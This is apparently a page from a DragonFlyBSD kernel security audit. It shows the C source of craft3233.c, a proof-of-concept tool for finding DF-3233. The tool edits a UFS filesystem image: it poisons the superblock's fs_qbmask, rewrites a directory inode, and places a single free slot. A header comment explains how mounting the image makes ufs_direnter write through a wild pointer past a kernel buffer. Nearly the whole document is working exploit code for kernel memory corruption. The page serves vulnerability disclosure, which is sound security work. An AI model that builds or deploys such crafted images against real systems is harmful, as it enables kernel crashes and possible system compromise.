⬢ DragonFlyBSD Kernel Audit
DF-3233 / craft3233.c
← back to finding ↓ download raw
/*
 * craft3233.c — DF-3233 offline image builder (root, guest).
 *
 * Builds the crafted-mount precondition for the ffs_blkatoff *res OOB:
 *
 *   fs_qbmask patched 0x1fff -> 0x1ffff  (128 KB "block offset" mask)
 *   directory inode <dirino> rewritten: i_size = 0x31000 (200704),
 *     25 blocks of directory data (blocks 0..11 direct, 12..24 via one
 *     single-indirect block), mode 0777.
 *   directory content: 32-byte entries with d_reclen == DIRSIZ (zero
 *     slack -> no mid-dir slot), except one 512-byte FREE-SLOT entry
 *     (d_ino == 0, d_reclen == 512) placed at byte offset $SLOT
 *     (512-aligned, inside the last 8 KB block).
 *
 * A lookup of a non-existent name then finds exactly one slot at $SLOT,
 * so ufs_direnter() runs its i_count != 0 path:
 *
 *   ufs_lookup.c:793  ffs_blkatoff(dvp, dp->i_offset=SLOT, &dirbuf, &bp)
 *   ffs_subr.c:80     *res = bp->b_data + (SLOT & fs_qbmask)
 *
 * With SLOT & 0x1ffff >= 65536, dirbuf points into the buffer-cache KVA
 * slot AFTER the 8192-byte directory buffer, and ufs_direnter reads
 * (ep->d_ino / d_reclen / d_namlen) and then WRITES the new entry
 * (ufs_lookup.c:806-870) through that wild pointer.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <stddef.h>
#include <sys/types.h>

typedef int32_t ufs_time_t;
typedef int32_t ufs_daddr_t;
#define _KERNEL_STRUCTURES
#define MAXFRAG 8
#include "fs.h"
#include "dinode.h"

#define BSIZE	8192
#define FSIZE	1024
#define FRAG	8
#define ISIZE	0x31000		/* 200704 = 24.5 * 8192 */
#define BASEFRAG 20000		/* first data frag we scribble (block 2500) */
#define NBLOCKS	((ISIZE + BSIZE - 1) / BSIZE)	/* 25 blocks (0..24) */

struct ent {
	uint32_t ino;
	uint16_t reclen;
	uint8_t namlen;
	uint8_t type;
	char name[24];
} __attribute__((packed));

int
main(int argc, char **argv)
{
	struct fs sb;
	struct ufs1_dinode di;
	off_t sbpos = 8192, ioff;
	uint32_t dirino;
	long slot;
	int fd, b, i, n;
	unsigned char blk[BSIZE];
	struct ent *e;
	int32_t *ind;
	uint64_t qb = 0x1ffff;

	if (argc != 4) {
		fprintf(stderr, "usage: craft3233 img dirino slot_off\n");
		return (2);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0)
		err(1, "open");
	dirino = (uint32_t)strtoul(argv[2], NULL, 0);
	slot = strtol(argv[3], NULL, 0);
	if (pread(fd, &sb, sizeof(sb), sbpos) != sizeof(sb))
		err(1, "read sb");
	if (sb.fs_magic != FS_MAGIC)
		errx(1, "bad magic");
	printf("[sb] fsize=%ld bsize=%ld frag=%ld qbmask=%llx ipg=%ld "
	    "inopb=%ld iblkno=%d\n", (long)sb.fs_fsize, (long)sb.fs_bsize,
	    (long)sb.fs_frag, (unsigned long long)sb.fs_qbmask,
	    (long)sb.fs_ipg, (long)sb.fs_inopb, sb.fs_iblkno);
	if (sb.fs_fsize != FSIZE || sb.fs_bsize != BSIZE || sb.fs_frag != FRAG)
		errx(1, "unexpected geometry — adjust constants");
	if (slot < 0x30000 || slot > ISIZE - 512 || (slot & 511))
		errx(3, "slot must be 512-aligned in [0x30000, 0x30e00]");

	/* ---- directory data blocks: 32-byte no-slack entries ---- */
	for (b = 0; b < NBLOCKS; b++) {
		memset(blk, 0, sizeof(blk));
		for (i = 0; i < BSIZE / 32; i++) {
			long off = (long)b * BSIZE + i * 32;
			e = (struct ent *)(blk + i * 32);
			if (off == slot) {
				/* the one FREE SLOT: ino 0, 512 bytes */
				e->ino = 0;
				e->reclen = 512;
				e->namlen = 0;
				e->type = 0;
				i += 15;	/* skip to next 512 boundary */
				continue;
			}
			e->ino = 1000;
			e->reclen = 32;
			e->namlen = 23;
			e->type = 1;	/* DT_REG */
			snprintf(e->name, 24, "f%022ld", off / 32);
		}
		if (pwrite(fd, blk, BSIZE, (off_t)(BASEFRAG + b * FRAG) *
		    FSIZE) != BSIZE)
			err(1, "write dirblk %d", b);
	}
	/* ---- single indirect block for blocks 12..24 ---- */
	memset(blk, 0, sizeof(blk));
	ind = (int32_t *)blk;
	for (i = 0; i < NBLOCKS - 12; i++)
		ind[i] = BASEFRAG + (12 + i) * FRAG;
	if (pwrite(fd, blk, BSIZE, (off_t)(BASEFRAG + 200 * FRAG) * FSIZE)
	    != BSIZE)
		err(1, "write indirect");

	/* ---- rewrite the directory inode ---- */
	{
		off_t cg = dirino / sb.fs_ipg;
		off_t cgstart = (off_t)sb.fs_fpg * cg +
		    sb.fs_cgoffset * (cg & ~(off_t)sb.fs_cgmask);
		off_t blkno = (dirino % sb.fs_ipg) / sb.fs_inopb;
		off_t frag = cgstart + sb.fs_iblkno + blkno * sb.fs_frag;
		ioff = frag * FSIZE + (off_t)((dirino % sb.fs_inopb) *
		    sizeof(struct ufs1_dinode));
	}
	if (pread(fd, &di, sizeof(di), ioff) != sizeof(di))
		err(1, "read dinode");
	printf("[ino %u] before: mode=%06o size=%llu db0=%ld ib0=%ld\n",
	    dirino, di.di_mode, (unsigned long long)di.di_size,
	    (long)di.di_db[0], (long)di.di_ib[0]);
	if ((di.di_mode & IFMT) != IFDIR)
		errx(3, "inode %u is not a directory", dirino);
	memset(di.di_db, 0, sizeof(di.di_db));
	memset(di.di_ib, 0, sizeof(di.di_ib));
	for (b = 0; b < 12 && b < NBLOCKS; b++)
		di.di_db[b] = BASEFRAG + b * FRAG;
	di.di_ib[0] = BASEFRAG + 200 * FRAG;
	di.di_size = ISIZE;
	di.di_mode = IFDIR | 0777;
	di.di_flags = 0;
	if (pwrite(fd, &di, sizeof(di), ioff) != sizeof(di))
		err(1, "write dinode");
	printf("[ino %u] after : size=%lu db0=%d..db11=%d ib0=%d\n",
	    dirino, (unsigned long)di.di_size, di.di_db[0], di.di_db[11],
	    di.di_ib[0]);

	/* ---- poison the superblock: fs_qbmask 0x1fff -> 0x1ffff ---- */
	if (pwrite(fd, &qb, 8, sbpos + offsetof(struct fs, fs_qbmask)) != 8)
		err(1, "pwrite qbmask");
	pread(fd, &sb, sizeof(sb), sbpos);
	printf("[sb-after] qbmask=%llx  (blkoff(0x%lx) = 0x%lx)\n",
	    (unsigned long long)sb.fs_qbmask, slot,
	    (unsigned long)(slot & 0x1ffff));
	printf("[*] dirbuf will land %ld bytes past the 8192-byte block-24 "
	    "buffer\n", (long)((slot & 0x1ffff) - BSIZE));
	n = ISIZE / 32;
	printf("[*] %d x 32B entries, free slot at 0x%lx\n", n, slot);
	return (0);
}